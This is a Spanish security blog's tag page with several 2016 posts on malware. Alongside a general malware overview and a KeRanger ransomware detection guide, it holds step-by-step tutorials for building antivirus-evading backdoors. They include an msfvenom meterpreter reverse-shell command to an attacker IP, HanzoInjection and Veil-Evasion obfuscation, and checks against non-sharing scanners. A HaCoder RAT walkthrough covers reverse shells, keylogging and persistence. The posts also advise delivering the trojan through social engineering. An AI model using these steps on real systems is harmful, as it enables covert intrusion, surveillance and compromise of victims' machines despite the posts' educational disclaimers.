Mostrando entradas con la etiqueta troyano. Mostrar todas las entradas
Mostrando entradas con la etiqueta troyano. Mostrar todas las entradas

martes, 3 de mayo de 2016

Seguridad Informática (II) - Malware

Buenas hackers! Que mejor que empezar hablando sobre el origen de la palabra Spam. Este término surgio de la abreviatura "spiced ham" y fue una marca usada por una empresa charcutera de EEUU. 
El grupo británico de humoristas Monty Python (origen a su vez del famoso lenguaje de programación), se burló en una escena cómica sobre el contenido de un menu donde solo ofrecian SPAM. En el video se aprecia como todos gritan a viva voz SPAM y así el surgimiento de esta palabra relacionado a la adquisición de un "objeto" abundante sin quererse, tal como el correo electrónico basura.
 

Concepto de Malware: Se agrupa clásicamente por virus, troyanos, gusanos, rootkit, ransomware, adware con la finalidad del acceso lógico al sistema o infraestructura de red.
Los creadores de malware, el objetivo principal era el obtener reconocimiento en el mundo underground, y dejar su marca de agua en sus desarrollos. Por tanto tenía que llamar la atención al usuario y provocar daños al sistema o infraestructura de red.
Actualmente la motivación principalmente de los cibercriminales y no de los "hackers", es obtener un beneficio económico usando técnicas de "social engineering" como phishing para el robo de información sensible o el desarrollo de código malicioso 100% indetectable, redes botnet o rogueware.
Según el tipo de malware nos encontramos:
Virus: "Un virus es un malware que tiene por objetivo alterar el funcionamiento normal del ordenador, sin el permiso o el conocimiento del usuario. Los virus, habitualmente, reemplazan archivos ejecutables por otros infectados con el código de este. Los virus pueden destruir, de manera intencionada, los datos almacenados en una computadora, aunque también existen otros más inofensivos, que solo producen molestias." (Wikipedia)
Troyano: Es una herramienta de administración remota (RAT) que dependiendo del payload usado puede ser conexión directa o inversa. Actualmente el método más usado es la conexión reversa o "reverse" para evadir los firewall ya que el cliente o victima es el que nos conecta a nosotros dada un IP dada y un puerto a la escucha "listening". El método de infección más habitual es por archivos maliciosos .exe y con más efectividad en PDF. La ingeniería social es un trabajo importante para camuflar el código malicioso ante el elemento humano, y además un buen desarrollo del troyano ofuscado para evadir los AV's (Antivirus).
Gusano: Es un tipo de malware que se duplica a sí mismo encontrandose en la memoria y en aplicaciones no visibles para el usuario. Se propagan mediante el protocolo SMTP, P2P e IRC.
Actualmente se encuentra muy de moda el ransomware, es un tipo de programa mal intencionado cuyo objetivo es el cifrado de los datos de la maquina victima en los distintos acceso a disco, pidiendo un rescate por la recuperación de ellos, dandose el chantaje ante la victima y la posterior entrega de dinero al estafador. 



Según la clasificación de malware, los objetivos son bien distintos. Tenemos desde código malicioso para obtención de información confidencial o privada, a malware para fines lucrativos usando técnicas de phishing.

Existen diferentes métodos de infección a los dispositivos. Para que funcione el malware se tiene que introducir en una máquina victima ya sea de forma lógica o física.
  • La forma clásica y tradicional sería desde usb o CD's al meterse en la máquina.
  • Por vulnerabilidades de software, aprovechandose estos para tomar el control ejecutando comandos a través de una shell obtenida ya sea remota o local.
  • No ejecutar este tipo de archivos maliciosos como administrador.
  • La famosa ingeniería social, usando técnicas de abuso de confianza para realizar una determinada acción perjudicial en busca del beneficio económico.
  • Las cookies son pequeños archivos que contienen información sobre nuestra actividad y es almacenada en nuestro navegador por parte de la página web que visitamos. Ofrecen ventajas, pero también pueden tener implicaciones en la privacidad y anonimato de nuestra navegación. A menudo las cookies que almacenamos ni siquiera son del sitio web que visitamos, sino de terceros, como pueden ser cookies almacenadas por Google Analytics, compañias publicitarias, redes sociales como Facebook o Twitter, etc. Tener un control sobre las cookies es fundamental para preservar nuestra privacidad y anonimato y dar únicamente la información que queremos dar, sin extras. Para ello en la configuración de nuestro navegador podemos gestionarlas, eliminarlas y configurarlas. Una buena práctica puede ser nunca aceptar cookies de terceros, además de almacenar sólo las cookies que conocemos y queremos almacenar.

Para protegerte es interesante seguir las siguientes pautas:
  • Utilizar contraseñas seguras, con patrones dificiles de sacar mediante fuerza bruta. 
  • Mantenerse informado de noticias nuevas sobre malware, visitando la pagina web Incibe o la página de exploit-db.
  • Tener el equipo siempre actualizado.
  • No fiarse de los antivirus gratuitos ya que pueden ser fake AV's con código malicioso. Es el denominado Rogueware-->"es un tipo de programa informático malintencionado cuya principal finalidad es hacer creer que una computadora está infectada por algún tipo de virus, induciendo a pagar una determinada suma de dinero para eliminarlo".(Wikipedia)
  • Utilizar software legal para el soporte y garantia. En muchas ocasiones la garantia no siempre se cumple...
  • Usar varias herramientas para analizar malware y así evitar los falsos positivos.
  • Escaneo de puertos y servicios abiertos y disponibles, para saber si esos servicios son vulnerables.
¿Cual es la mejor herramienta AV's? Bueno realmente no existen mejores o peores AV's, simplemente dependiendo si es gratuito o no, se tendrá diferentes herramientas de seguridad en su dispositivo. El antivirus en si, siempre suele ser gratuito o tener periodos de prueba. La mayoria de ataques dirigidos suelen estar en el S.O Windows debido a que existe mayor número de personas que lo usan, no significa que sea más inseguro que un sistema Linux. Los estudios sobre que herramienta AV'S es tiene mayor validez son aquellas que tienen laboratorios independientes de las casas de AV's.

Según una definición general sobre el término Antivirus, es un programa que monitoriza los procesos que se estan ejecutando con el fin de mantener un sistema más seguro en tiempo real. Según su método encontramos:
  • Por heurística: La detección se basa por la detección de patrones similares al del código malicioso
  • Firmas: Los AV's mantienen una actualizada BBDD, comparando un firma especifica de un malware ya bien conocido, por la contenida en la base de datos.
  • Sandbox: El uso de maquinas virtuales para la detección de malware es recomendable, para saber como actua el código malicioso.
Los tipos de antivirus que nos podemos encontrar son AV's de escritorio (software de tipo cliente), antivirus on-line, antivirus portables o Live (ejecutables dentro de un USB por ejemplo).
  
Según lo visto la finalidad del malware ha cambiado desde los últimos años y cada vez va a más debido al avance de la tecnología, además de la variedad de malware para los distintos sistemas operativos tales como para Mac el famoso ransomware KeRanger.
Pero claramente el objetivo o el "target" del malware es en el SO Windows debido al elevado número de usuarios que lo usan.

Un saludo, naivenom 
 







jueves, 17 de marzo de 2016

Troyano Hacoder y el source code

Buenos dias!
En el dia de hoy os mostrare una herramienta realizada por LukaSiki/HaCoder.py. Podeis localizar el repositorio en GitHub.



Parte 1:
Primero analizaremos el código fuente para aquellos entusiastas en la programación con Python. La herramienta de administración remota (troyano), tiene un encriptado AES eligiendo valores aleatorios (random), haciendo su backdoor FUD eludiendo a los antivirus.


El archivo principal (Hacoder.py), es un script de igual modo que el anterior, conteniendo a su vez dentro de una función otro script que será la generación del backdoor. Se importan los modulos, clases de colores, el logo del programa y la encriptación AES.



Más adelante, cuando se finaliza de escribir las lineas de código correspondientes al script del backdoor, se define una función que corresponde a la generación del handler, es decir, las instrucciones correspodientes a la interacción con el cliente.



 Dentro de ella se definen funciones e interaciones como:
  • Enviar y recibir datos.
  • Subida y bajada de archivos.
  • Actualización de los clientes que se nos conecta a nuestro host, dada una dirección IP y puerto.
  • Uso de la instrucción "while" para repetir una serie de instrucciones mientras la condición sea verdadera (True)
Por último se crea el menu y una serie de condiciones con "if" dependiendo de la elección del usuario, realizando las correspodientes llamadas a las funciones creadas anteriormente.



Parte 2:
Ahora en esta parte, vamos a probar la herramienta en un entorno virtualizado en VMware. Para instalar la herramienta podemos clonar el repositorio ejecutando lo siguiente:
git clone  https://github.com/LukaSikic/HaCoder.py.git
Entramos en la carpeta generada, y damos permisos de ejecución con chmod
Es importante tener instalado Python para poder ejecutar el script, ya que es un lenguaje interpretado y necesita de una maquina virtual. El bytecode se utiliza y produce el resultado. 
Ejecutamos el script y generamos el backdoor, copiando la clave AES aleatoria e indicando nuestra IP y puerto a la escucha: 


Una vez creado el backdoor, generara un archivo .py, y como dijimos antes Python es un lenguaje interpretado, por tanto si queremos enviar este archivo a un cliente, tiene que tener Python instalado. Una opción interesante es compilar el archivo a un .exe. Entonces necesitaremos usar Pyinstaller:  https://github.com/pyinstaller/pyinstaller
Usamos la herramienta y ya tendriamos nuestro backdoor en .exe. Existen buenos tutoriales del uso de esta herramienta. 
Al elegir la opción 3 del menu del programa, automaticamente pasará al handler a la espera de conexiones, como se puede apreciar el cliente ejecuto el .exe y se nos conecto:





Hacemos Control + C para interactuar con el cliente, y obtenemos una shell del cliente: 


Una vez obtenido la shell, podemos según las funciones declaradas en el código fuente subir y descargar archivos, escalada de privilegios, keylogger y hacerlo persistente. 
Un saludo, naivenom

P.D No me hago responsable del mal uso de esta herramienta y probarlo siempre en un entorno virtualizado usando dos maquinas virtuales, una el cliente y otra de servidor a la escucha de conexiones. 







 









martes, 8 de marzo de 2016

KeRanger: Descubierto ransomware para MAC (OS X)



Autor: Diego Jurado


Buenas a todos hackers!!
Hoy vamos a hablaros sobre un tema que nos acontece, es la noticia del momento y es que era solo cuestión de tiempo pero finalmente podemos decir: OS X ha sido vulnerado.
Hasta ahora, los usuarios de Apple podían presumir de ser uno de los únicos sistemas operativos que no había sufrido de las amenazas de Internet, pero esto ya es historia.

El 4 de marzo de este mismo mes, se registró el primer ataque de ransomware, bautizado como KeRanger dirigido a usuarios de Apple y esto es un problema, especialmente para los amantes de las descargas, ya que este ´malware´ ha sido difundido a través de software torrent y puede afectar a cualquier tipo de Mac, siempre que el usuario se encargue de ejecutar la aplicación asociada.

El único ransomware conocido para OS X hasta ahora fue descubierto por Kasperky Lab en 2014, fue denominado como FileCoder y estaba incompleto, mientras que KeRanger , según los investigadores de Palo Alto, se trata de "el primer ransomware completamente funcional que se ha visto en la plataforma OS X".



¿Qué es un Ransomware?

Un ransomware (del inglés ransom = rescate / ware = software) se trata de un tipo de programa informático malicioso, que encripta y restringe el acceso generalmente a archivos o partes del sistema que ha sido vulnerado.
Una vez se tienen los datos encriptados, la única forma de recuperar estos archivos es mediante el pago de un rescate que se le pide al usuario. 

Esto supone un daño crítico, especialmente a empresas u organizaciones que dependen de sus archivos y que se han visto en más de una ocasión a pagar dicho rescate, como por ejemplo hace un mes, un hospital en los Angeles se vio obligado a pagar 40 bitcoins (equivalente a $16700) para recuperar parte de sus sistema que fue afectado por un ramsomware.






KeRanger Ransomware

Para la propagación de este ransomware, los atacantes se aprovecharon de una actualización de Transmission, un cliente de BitTorrent para OS X que llevaba dos años sin actualizarse.
Los creadores inyectaron KeRanger en dos instaladores de la versión 2.90, aprovechando que esta es una aplicación de código abierto (open source).




La aplicación infectada con KeRanger estaba firmada con un certificado de desarrollador de Apple, que lograba evitar que Gatekeeper (mecanismo de seguridad integrado en OS X) detectase la aplicación como peligrosa y rechazase su instalación.

Cuando un usuario instala la aplicación, un ejecutable embebido en la misma, pasa a formar parte del sistema. Es entonces cuando KeRanger (a los 3 días aproximadamente) se conecta con sus servidores de control y comando en la conocida red Tor y comienza a cifrar ciertos tipos de documentos y archivos de datos del sistema.


Estos son algunos de los tipos de documentos que se cifran: 




Tras finalizar este proceso, se solicita automáticamente al usuario afectado que pague un BitCoin ($400 aproximadamente) a una dirección especifica para poder recuperar sus documentos. 

Se dice que KeRanger sigue en proceso de desarrollo, y este malware intenta cifrar tambien el contenido de las copias de seguridad de Time Machine para prevenir recuperar información desde sus copias de seguridad. 




¿Como detectarlo y como protegerse?

Como era de esperar, la reacción ha sido rápida, y desde Transmission ya se han dado cuenta, y han lanzado una nueva version 2.92, donde se ha eliminado el ransomware. Esta actualización ha pasado a ser obligatoria para todos los usuarios  de la aplicación.

Pero,  ¿como podemos saber si estamos infectados?, ¿como nos protegemos?

Si vamos a Transmission y hacemos clic en Mostrar contenido del paquete con el segundo botón del ratón, podremos observar que hay un archivo extra denominado General.rtf en la ruta:
Transmission.app/Content/MacOS/Transmission. 

Este archivo de texto no es más que un ejecutable empaquetado con UPX 3.91.

Cuando el usuario infectado ejecuta la aplicación, dicho archivo se copia en la ubicación: 
Library/kernel_service y se ejecuta el servicio antes de que ninguna interfaz aparezca para recolectar información del modelo de Mac y su identificador UUID.

Estos datos se envían a un servidor externo, y este devuelve una respuesta informando sobre el rescate.



Si queremos saber si hemos sido infectados, debemos seguir los siguientes pasos: 
  • Abrir Terminal o Finder y verificar si tenemos el archivo General.rtf en nuestro equipo. Para ello basta con mirar las rutas: 

          /Applications/Transmission.app/Contents/Resources/General.rtf           /Volumes/Transmission/Transmission.app/Contents/Resources/

  • Mediante el Monitor de actividad, deberemos verificar los procesos que están activos. Si encontramos uno llamado "kernel_service" ejecutandose, deberemos hacer doble click sobre él, ir a la opción de Archivos y puertos abiertos (Open Files and Ports) y ver si hay un archivo con el nombre: /Users/<username>/Library/kernel_service , en este caso, forzaremos el cierre.

  • Por último, comprobaremos si los archivos: kernel_pid, kernel_time, kernel_complete o kernel_service existen en la carpeta Library directory, en este caso los eliminaremos.



Recomendaciones

Desde aqui, recomendamos siempre tener una copia de seguridad disponible, por si alguna vez sufrimos este tipo de ataques, con ella estaremos mucho más seguros.

Es importante concienciarse de que todos nuestros datos están expuestos, y de que todos somos vulnerables. 

Este es el primer caso de ransomware que hace que el Mac (OS X) ya no pueda mantener su reputación como bastión de seguridad por encima de Windows.



"Pienso que los virus informáticos muestran la naturaleza humana: la única forma de vida que hemos creado hasta el momento es puramente destructiva"  - Stephen Hawking -



jueves, 18 de febrero de 2016

Backdoor 100% indetectable con HanzoInjection


Autor: Diego Jurado


Buenas de nuevo hackers!


En el día de hoy, os traigo una nueva prueba de concepto muy interesante. Lo que haremos será generar un backdoor 100% indetectable para los antivirus, con la ayuda de HanzoInjection.
Para los que no saben que es un backdoor (puerta trasera), se puede definir como una secuencia de código que evita los sistemas de seguridad, permitiendo a un atacante acceder al sistema de forma remota. Las puertas traseras pueden ser utilizadas para fines maliciosos y de espionaje.
NOTA: Antes de comenzar, saber que vamos a utilizar una máquina en Kali-Linux y otra Windows.

PASO 1: 

Lo primero que haremos será crear un simple backdoor con la herramienta msfvenom. Como ya sabemos, este backdoor es detectable por algunos antivirus, por lo tanto no será completamente útil a la hora de realizar un ataque.
Con este comando, lo que haremos será utilizar:
  • Payload meterpreter con conexión inversa.
  • Lhost= 192.168.1.53 (IP del atacante).
  • Lport=4444 (Puerto por el que establecemos la escucha).
  • evil.bin = Fichero binario creado (en carpeta root/Escritorio).

Introducimos el siguiente comando en la consola:
> msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.53 lport=4444 -t raw -o /root/Escritorio/evil.bin







PASO 2:

En este punto, lo analizaremos con cualquier escaner online (excepto virustotal), en nuestro caso hemos utilizado: www.nodistribute.com , (otra buena opción es www.metascan-online.com ).

Podemos observar que el backdoor es detectado por 2/35 antivirus, no es mucho, pero queremos que sea 100% indetectable.




PASO 3:

Ya tenemos nuestro fichero binario (evil.bin) , lo llevaremos a una máquina WINDOWS. 

Únicamente debemos acceder a la carpeta donde se encuentra el ejecutable (teniendo el fichero evil.bin en la misma ruta) y ejecutar el siguiente comando:
> HanzoInjection.exe -p evil.bin -o evilInject.cs



Así creamos un archivo de código (.cs) que podrá ser convertido a (.exe).



PASO 4:

Lo siguiente que haremos será volver a Kali-Linux y crear un proyecto con monodevelop.
Esta herramienta nos permite transformar el código (.cs) en un archivo ejecutable (.exe).
Primero instalamos monodevelop:
> apt-get install monodevelop 

Creamos un proyecto nuevo con el nombre que queramos, en nuestro caso se ha llamado EvilProyect: 


Ahora deberemos compilar o construir el código, pero nos dará el siguiente error:


Para quitarlo accedemos a Proyecto -> Opciones de EvilProyect y seleccionamos la opción "Permitir código inseguro":


Un nuevo error relacionado con las librerias xml aparecerá. Para quitarlo iremos a Referencias -> Editar Referencias y añadiremos la libreria System.xml:


Compilamos el código correctamente y se habrá creado en la carpeta del proyecto nuestro ejecutable (EvilProyect.exe):




PASO 5:

Volvemos a escanear el archivo (EvilProyect.exe) y vemos ha quedado completamente limpio (100% Indetectable!!):








PASO 6:
Por último, utilizando la herramienta metasploit en Kali-Linux  y establecemos una conexión a la escucha utilizando el exploit multi/handler y el payload windows/meterpreter/reverse_tcp porsupuesto utilizando el mismo puerto/ip que usamos para la creación del backdoor.




En este punto, solo quedará propagar nuestro troyano y esperar a que la víctima lo ejecute. Automáticamente conseguiremos una sesión de meterpreter (shell) como vimos en anteriores post.
 


Espero que les haya gustado el post, y como decimos siempre, la prueba de concepto se ha realizado sobre máquinas virtualizadas y para fines educativos, no nos hacemos responsables de su mal uso.


"Es extraña la ligereza con la que los malvados creen que todo les saldrá bien" - Victor Hugo


lunes, 15 de febrero de 2016

Veil-Evasion y metasploit



Buenas tardes hackers!

En esta prueba de concepto realizada en un entorno virtualizado, se conseguirá una sesión meterpreter a través de un exploit(multi/handler) y la vulnerabilidad crítica basada en la persona con un windows 7. Para ello se usara una herramienta llamada Veil-Framework, donde generaremos un payload que tiene como objetivo ejecutarse en la máquina víctima para realizar la acción maliciosa y bastante indetectable por la mayoría de los antivirus. Instalamos la herramienta en Kali clonando desde github.



Una vez tengamos la carpeta de Veil entramos y ejecutamos /Install.sh. Recomiendo la lectura en github de los pasos y las condiciones que se han de cumplir antes de instalar la herramienta, para que no exista ningún tipo error.





Una vez instalado nos situamos en la carpeta Veil-Evasion y ejecutamos previamente dando los permisos necesarios para la ejecución. Existen 49 payloads. El comando a usar es ./Veil-Evasion.py.



Podemos apreciar los distintos payload que existen, dependiendo del entorno en el que se ejecuten.



Configuramos uno de los payload más interesantes, llamado meterpreter con conexión inversa. El atacante lanzara el exploit y permanecerá a la escucha de conexiones hasta que la víctima ejecute el código malicioso y el payload se conectara a la dirección IP asociado a un puerto determinado.
IP--->172.16.22.133 (atacante)
Puerto--->4444 (atacante)
De esta forma ya tendríamos configurado nuestro payload que enviaremos a través de ingeniería social a nuestra víctima.



El archivo que genera es un .bat (backdor.bat) en la carpeta veil-output. Para que la victima pueda ejecutarlo sera necesario convertirlo en un .exe. Existen muchos programas para hacerlo, en esta PoC se usa el Bat To Exe Converter v2.4.



Una vez convertido el .exe lo analizamos con www.scan4you.net y nos da un resultado de detecciones de antivirus por firmas de 5/35, no esta nada mal.

Ahora ya creado una parte importante y fundamental que es la conexión, necesitamos abrir Metasploit (msfconsole) que será la parte que actuara como si de un servidor se tratase a la escucha de conexiones.
Ejecutamos el comando msfconsole, y usamos el exploit multi/handler que servirá con el fin de que la víctima ejecute el archivo y el payload realice la conexión inversa al atacante, dándole acceso a la maquina.
Una vez obtenido la sesión meterpreter, la maquina victima esta comprometida donde se puede realizar acciones de todo tipo, ya sea una linea de comandos como un keylogger.



P.D No me hago responsable del mal uso que se le de a esta PoC, es de carácter educativo y esta realizado en un entorno virtualizado. No seáis malos!!

Google Analytics